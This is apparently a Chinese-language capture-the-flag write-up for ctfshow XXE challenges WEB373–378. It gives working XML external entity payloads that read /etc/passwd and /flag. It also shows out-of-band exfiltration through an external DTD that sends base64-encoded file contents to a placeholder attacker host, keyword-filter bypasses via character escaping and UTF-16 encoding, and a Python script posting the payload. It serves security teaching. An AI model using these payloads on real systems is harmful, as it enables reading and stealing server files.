基础原理见这篇文章:XXE攻击原理 - 简书 (jianshu.com)
一般来说,参数实体方便之处在于在外部引用dtd的时候可以引用其它的已定义实体,比较方便嵌套
WEB373
payload:
<!DOCTYPE ANY[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <test1> <ctfshow>&xxe;</ctfshow> </test1>
ctfshow应该作为根元素下的一个属性
WEB374-376
无回显外带
<!DOCTYPE ANY[ <!ENTITY % xxe SYSTEM "http://ip/test.dtd"> %xxe;%int;%sendmessage; ]> <test>111</test>
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % int "<!ENTITY % sendmessage SYSTEM 'http://ip:port?p=%file;'>">
注意点:
1.base64编码,防止特殊字符导致引用失败
“引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,",'等。这些均需要对其进行转义,否则会对XML解释器生成错误)”——from 一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)
2.注意,%等特殊字符在xml中出现需要转义(下图来自菜鸟教程)
WEB377
先说我的做法,我是利用了转义字符来进行绕过
我们知道,&会被转义成&,这是预定义的转义方式。但是在很多时候我们也会看到这样的转义方式:&
其实,不只是预定义的几个字符,任何字符都可以转义,转义的方式是&#<10进制ASCII码>,只是大部分字符没必要转义而已
那我们可以利用转义来绕过关键字过滤(其实绕过关键字过滤的关键就是破坏掉整体结构)
payload:
<!DOCTYPE ANY[ <!ENTITY % t1 "<!ENTITY % t2 SYSTEM 'http://ip:port/test.dtd'>"> %t1;%t2;%int;%sendmessage; ]> <test>111</test>
先包一层壳,让xml进行解析和转义(其中h是h的转义),然后正常调用即可
正常做法是编码绕过,编码成utf-16,依然可以正常解析(因为html本身支持16进制)。直接上yu师傅的python脚本:
import requests url = 'http://ddca1082-2f62-4f7f-b8b1-e369e33aa168.chall.ctf.show/' payload = """<!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://xxx/test.dtd"> %aaa; ]> <root>123</root>""" payload = payload.encode('utf-16') requests.post(url ,data=payload)
本来是想利用字符串拼接的,就像这样:
<!DOCTYPE ANY[ <!ENTITY % t1 "h"> <!ENTITY % t2 "ttp://ip:port/test.dtd"> <!ENTITY % t3 "%t1;%t2;"> %t3; ]> <test>111</test>
但是,内部定义的参数实体是无法引用其它已定义的实体的,只有外部引用才允许这么做...详见:xxe实验踩坑记录 | m3lon
WEB378
一看就像个xxe,直接试着注入一下,放到username里面回显
<!DOCTYPE ANY[ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>admin&xxe;</username><password>admin</password></user>
文章评论